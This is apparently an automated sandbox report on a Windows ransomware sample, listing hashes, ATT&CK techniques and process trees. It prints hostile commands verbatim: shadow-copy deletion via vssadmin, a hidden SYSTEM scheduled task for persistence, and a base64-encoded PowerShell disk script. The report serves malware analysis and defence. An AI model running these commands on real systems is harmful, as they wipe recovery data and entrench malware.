c429dff0ef9281145f9835ffa53d60c6c6bff7bcb73c193b8c5e84e7dc7af05b

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/07/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe
Size 15.4MB
Sample260709-tkwe2sc16j
SHA256 c429dff0ef9281145f9835ffa53d60c6c6bff7bcb73c193b8c5e84e7dc7af05b
MD5 f3a5da3c4a281ca9466066c5d36020a3
SHA1 18c94d5e688f196b7c7ae0ea6a8e7339d8b3f6d3
SHA512 1d1ba08995c759c88943ca6cfceff7438c9ea2d6ced72098feaa8a0f05129c06f3ca39774cc086b6ab949c5dd1e04b7fb38a987af2f704664c655f47fa471ad7
SSDEEP 196608:5KDCGqzzjTIMj2GeSFl64ka0fMCT6PnyUpyv:5KkzzjTT2GE4kvQnyE
TLSH
T162F67D07EDA505E9C0AFD13185369253BB61BC4A5B2023DB2B60F7282FB7BD05EB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution impact ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4576	powershell.exe
5948	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1264	vssadmin.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4576	powershell.exe
4576	powershell.exe
5948	powershell.exe
5948	powershell.exe
1964	powershell.exe
1964	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeIncreaseQuotaPrivilege	4576	powershell.exe
Token: SeSecurityPrivilege	4576	powershell.exe
Token: SeTakeOwnershipPrivilege	4576	powershell.exe
Token: SeLoadDriverPrivilege	4576	powershell.exe
Token: SeSystemProfilePrivilege	4576	powershell.exe
Token: SeSystemtimePrivilege	4576	powershell.exe
Token: SeProfSingleProcessPrivilege	4576	powershell.exe
Token: SeIncBasePriorityPrivilege	4576	powershell.exe
Token: SeCreatePagefilePrivilege	4576	powershell.exe
Token: SeBackupPrivilege	4576	powershell.exe
Token: SeRestorePrivilege	4576	powershell.exe
Token: SeShutdownPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeSystemEnvironmentPrivilege	4576	powershell.exe
Token: SeRemoteShutdownPrivilege	4576	powershell.exe
Token: SeUndockPrivilege	4576	powershell.exe
Token: SeManageVolumePrivilege	4576	powershell.exe
Token: 33	4576	powershell.exe
Token: 34	4576	powershell.exe
Token: 35	4576	powershell.exe
Token: 36	4576	powershell.exe
Token: SeIncreaseQuotaPrivilege	4576	powershell.exe
Token: SeSecurityPrivilege	4576	powershell.exe
Token: SeTakeOwnershipPrivilege	4576	powershell.exe
Token: SeLoadDriverPrivilege	4576	powershell.exe
Token: SeSystemProfilePrivilege	4576	powershell.exe
Token: SeSystemtimePrivilege	4576	powershell.exe
Token: SeProfSingleProcessPrivilege	4576	powershell.exe
Token: SeIncBasePriorityPrivilege	4576	powershell.exe
Token: SeCreatePagefilePrivilege	4576	powershell.exe
Token: SeBackupPrivilege	4576	powershell.exe
Token: SeRestorePrivilege	4576	powershell.exe
Token: SeShutdownPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeSystemEnvironmentPrivilege	4576	powershell.exe
Token: SeRemoteShutdownPrivilege	4576	powershell.exe
Token: SeUndockPrivilege	4576	powershell.exe
Token: SeManageVolumePrivilege	4576	powershell.exe
Token: 33	4576	powershell.exe
Token: 34	4576	powershell.exe
Token: 35	4576	powershell.exe
Token: 36	4576	powershell.exe
Token: SeIncreaseQuotaPrivilege	4576	powershell.exe
Token: SeSecurityPrivilege	4576	powershell.exe
Token: SeTakeOwnershipPrivilege	4576	powershell.exe
Token: SeLoadDriverPrivilege	4576	powershell.exe
Token: SeSystemProfilePrivilege	4576	powershell.exe
Token: SeSystemtimePrivilege	4576	powershell.exe
Token: SeProfSingleProcessPrivilege	4576	powershell.exe
Token: SeIncBasePriorityPrivilege	4576	powershell.exe
Token: SeCreatePagefilePrivilege	4576	powershell.exe
Token: SeBackupPrivilege	4576	powershell.exe
Token: SeRestorePrivilege	4576	powershell.exe
Token: SeShutdownPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeSystemEnvironmentPrivilege	4576	powershell.exe
Token: SeRemoteShutdownPrivilege	4576	powershell.exe
Token: SeUndockPrivilege	4576	powershell.exe
Token: SeManageVolumePrivilege	4576	powershell.exe
Token: 33	4576	powershell.exe
Token: 34	4576	powershell.exe
Token: 35	4576	powershell.exe
Token: 36	4576	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 4576	4756	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	86
PID 4756 wrote to memory of 5948	4756	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	90
PID 2568 wrote to memory of 1264	2568	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	91
PID 2568 wrote to memory of 1964	2568	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	94

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$taskName = \"YNDECAJzUK\" $argStr = \"\" foreach ($a in @('--no-background')) { if ($a -match ' ') { $argStr += '\"' + $a + '\" ' } else { $argStr += $a + ' ' } } $argStr = $argStr.Trim() $action = New-ScheduledTaskAction -Execute \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe\" -Argument $argStr $trigger = @() $trigger += New-ScheduledTaskTrigger -AtLogOn $trigger += New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(3) $principal = New-ScheduledTaskPrincipal -UserId \"SYSTEM\" -LogonType ServiceAccount -RunLevel Highest $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -MultipleInstances IgnoreNew -Hidden -Priority 0 Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force Start-ScheduledTask -TaskName $taskName "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Start-ScheduledTask -TaskName YNDECAJzUK"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5948

C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe
C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe --no-background
1⤵
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAGYAdQBuAGMAdABpAG8AbgAgAFQAZQBzAHQALQBJAHMAQQBkAG0AaQBuACAAewAKACAAIAAgACAAJABpAGQAZQBuAHQAaQB0AHkAIAA9ACAAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApAAoAIAAgACAAIAAkAHAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AOgA6AG4AZQB3ACgAJABpAGQAZQBuAHQAaQB0AHkAKQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAHAAcgBpAG4AYwBpAHAAYQBsAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AOgA6AEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAKQAKAH0ACgAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAEkAcwBBAGQAbQBpAG4AKQApACAAewAKACAAIAAgACAAdABoAHIAbwB3ACAAIgBSAHUAbgAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIALgAiAAoAfQAKAAoAJABnAHAAdABOAGEAbQBlAFAAcgBlAGYAaQB4ACAAPQAgACQAZQBuAHYAOgBHAE8AXwBHAFAAVABOAEEATQBFAF8AUABSAEUARgBJAFgACgAKACQAZABpAHMAawBzACAAPQAgAEcAZQB0AC0ARABpAHMAawAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsACgAgACAAIAAgACQAXwAuAEkAcwBCAG8AbwB0ACAALQBlAHEAIAAkAGYAYQBsAHMAZQAgAC0AYQBuAGQAIAAkAF8ALgBJAHMAUwB5AHMAdABlAG0AIAAtAGUAcQAgACQAZgBhAGwAcwBlACAALQBhAG4AZAAgACQAXwAuAEkAcwBSAGUAYQBkAE8AbgBsAHkAIAAtAGUAcQAgACQAZgBhAGwAcwBlAAoAfQAKAAoAaQBmACAAKAAkAGQAaQBzAGsAcwAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApACAAewAKACAAIAAgACAAWwBwAHMAYwB1AHMAdABvAG0AbwBiAGoAZQBjAHQAXQBAAHsAIABNAGUAcwBzAGEAZwBlACAAPQAgACIATgBvACAAcwBhAGYAZQAgAGQAaQBzAGsAcwAgAGYAbwB1AG4AZAAuACIAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARABlAHAAdABoACAAMwAKACAAIAAgACAAZQB4AGkAdAAgADAACgB9AAoACgAkAHIAZQBzAHUAbAB0AHMAIAA9ACAAQAAoACkACgAKAGYAbwByAGUAYQBjAGgAIAAoACQAZABpAHMAawAgAGkAbgAgACQAZABpAHMAawBzACkAIAB7AAoAIAAgACAAIABpAGYAIAAoACQAZABpAHMAawAuAEkAcwBPAGYAZgBsAGkAbgBlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0ARABpAHMAawAgAC0ATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0ASQBzAE8AZgBmAGwAaQBuAGUAIAAkAGYAYQBsAHMAZQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAACgAgACAAIAAgACAAIAAgACAAJABkAGkAcwBrACAAPQAgAEcAZQB0AC0ARABpAHMAawAgAC0ATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoACQAZABpAHMAawAuAFAAYQByAHQAaQB0AGkAbwBuAFMAdAB5AGwAZQAgAC0AZQBxACAAJwBSAEEAVwAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACMAIABTAGkAbABlAG4AdABsAHkAIABzAGsAaQBwACAAUgBBAFcAIABkAGkAcwBrAHMAIAATICAAbgBvACAAbwB1AHQAcAB1AHQACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAcABhAHIAdABpAHQAaQBvAG4AcwAgAD0AIABHAGUAdAAtAFAAYQByAHQAaQB0AGkAbwBuACAALQBEAGkAcwBrAE4AdQBtAGIAZQByACAAJABkAGkAcwBrAC4ATgB1AG0AYgBlAHIAIAB8AAoAIAAgACAAIAAgACAAIAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgAC0AbgBvAHQAIAAkAF8ALgBEAHIAaQB2AGUATABlAHQAdABlAHIAIAB9AAoACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcABhAHIAdAAgAGkAbgAgACQAcABhAHIAdABpAHQAaQBvAG4AcwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFAAYQByAHQAaQB0AGkAbwBuAEEAYwBjAGUAcwBzAFAAYQB0AGgAIAAtAEQAaQBzAGsATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0AUABhAHIAdABpAHQAaQBvAG4ATgB1AG0AYgBlAHIAIAAkAHAAYQByAHQALgBQAGEAcgB0AGkAdABpAG8AbgBOAHUAbQBiAGUAcgAgAC0AQQBzAHMAaQBnAG4ARAByAGkAdgBlAEwAZQB0AHQAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABwAGEAcgB0ACAAPQAgAEcAZQB0AC0AUABhAHIAdABpAHQAaQBvAG4AIAAtAEQAaQBzAGsATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0AUABhAHIAdABpAHQAaQBvAG4ATgB1AG0AYgBlAHIAIAAkAHAAYQByAHQALgBQAGEAcgB0AGkAdABpAG8AbgBOAHUAbQBiAGUAcgAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABTAGkAbABlAG4AdABsAHkAIABzAGsAaQBwACAAaQBmACAAbABlAHQAdABlAHIAIABhAHMAcwBpAGcAbgBtAGUAbgB0ACAAZgBhAGkAbABzAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAZwBwAHQATgBhAG0AZQBQAHIAZQBmAGkAeAAgAC0AYQBuAGQAIAAkAGQAaQBzAGsALgBQAGEAcgB0AGkAdABpAG8AbgBTAHQAeQBsAGUAIAAtAGUAcQAgACcARwBQAFQAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBwAHQATgBhAG0AZQAgAD0AIAAiACQAewBnAHAAdABOAGEAbQBlAFAAcgBlAGYAaQB4AH0AXwAkAHsAZABpAHMAawAuAE4AdQBtAGIAZQByAH0AXwAkAHsAcABhAHIAdAAuAFAAYQByAHQAaQB0AGkAbwBuAE4AdQBtAGIAZQByAH0AIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABnAHAAdABOAGEAbQBlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADMANgApACAAewAgACQAZwBwAHQATgBhAG0AZQAgAD0AIAAkAGcAcAB0AE4AYQBtAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADMANgApACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0AUABhAHIAdABpAHQAaQBvAG4AIAAtAEQAaQBzAGsATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0AUABhAHIAdABpAHQAaQBvAG4ATgB1AG0AYgBlAHIAIAAkAHAAYQByAHQALgBQAGEAcgB0AGkAdABpAG8AbgBOAHUAbQBiAGUAcgAgAC0ATgBlAHcAUABhAHIAdABpAHQAaQBvAG4ATgBhAG0AZQAgACQAZwBwAHQATgBhAG0AZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdABzACAAKwA9ACAAWwBwAHMAYwB1AHMAdABvAG0AbwBiAGoAZQBjAHQAXQBAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGkAcwBrAE4AdQBtAGIAZQByACAAIAAgACAAIAAgAD0AIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFAAYQByAHQAaQB0AGkAbwBuAE4AdQBtAGIAZQByACAAPQAgACQAcABhAHIAdAAuAFAAYQByAHQAaQB0AGkAbwBuAE4AdQBtAGIAZQByAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARAByAGkAdgBlAEwAZQB0AHQAZQByACAAIAAgACAAIAA9ACAAKAAkAHAAYQByAHQALgBEAHIAaQB2AGUATABlAHQAdABlAHIALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIAOgAiACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABQAGEAcgB0AGkAdABpAG8AbgBOAGEAbQBlACAAIAAgAD0AIABpAGYAIAAoACQAZwBwAHQATgBhAG0AZQBQAHIAZQBmAGkAeAApACAAewAgACQAZwBwAHQATgBhAG0AZQAgAH0AIABlAGwAcwBlACAAewAgACQAcABhAHIAdAAuAFAAYQByAHQAaQB0AGkAbwBuAE4AYQBtAGUAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwBpAHoAZQBHAEIAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAcABhAHIAdAAuAFMAaQB6AGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAfQAKAAoAaQBmACAAKAAkAHIAZQBzAHUAbAB0AHMALgBDAG8AdQBuAHQAIAAtAGUAcQAgADAAKQAgAHsACgAgACAAIAAgAFsAcABzAGMAdQBzAHQAbwBtAG8AYgBqAGUAYwB0AF0AQAB7ACAATQBlAHMAcwBhAGcAZQAgAD0AIAAiAE4AbwAgAHAAYQByAHQAaQB0AGkAbwBuAHMAIAB3AGkAdABoAG8AdQB0ACAAZAByAGkAdgBlACAAbABlAHQAdABlAHIAcwAgAGYAbwB1AG4AZAAuACIAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAJAByAGUAcwB1AGwAdABzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARABlAHAAdABoACAANQAKAH0ACgA=
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1964

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b
MD5 fee026663fcb662152188784794028ee
SHA1 3c02a26a9cb16648fad85c6477b68ced3cb0cb45
SHA512 7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6
TLSH
T17271ED323275B0D4C9567F072A2819D063BF4396EA94AF5CB25C621ED92751B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 01eb8294b06b5b2a695edd41bc14161dee11b0bfd72cb940e4b09c4b93de38a8
MD5 e48f1da93cff6add453f6676f02dc042
SHA1 ce2c69d09be4a3ebd0d08fc2fdee50b76b73314f
SHA512 ce8266c2209cd3baf07edb0fa7f546fda2d4c7e30376c8acbcf26c68e4f23cebe6f2354f0c89717e1af4f945c3464e88796ab4873bd5661052bd2f66cf6dac7e
TLSH
T1E9218427B3DD8821DC8A123A109D9C5176B683C7819ECF9FAFC0D61595BFAC8CB21294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tphj55ht.c5s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tphj55ht.c5s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
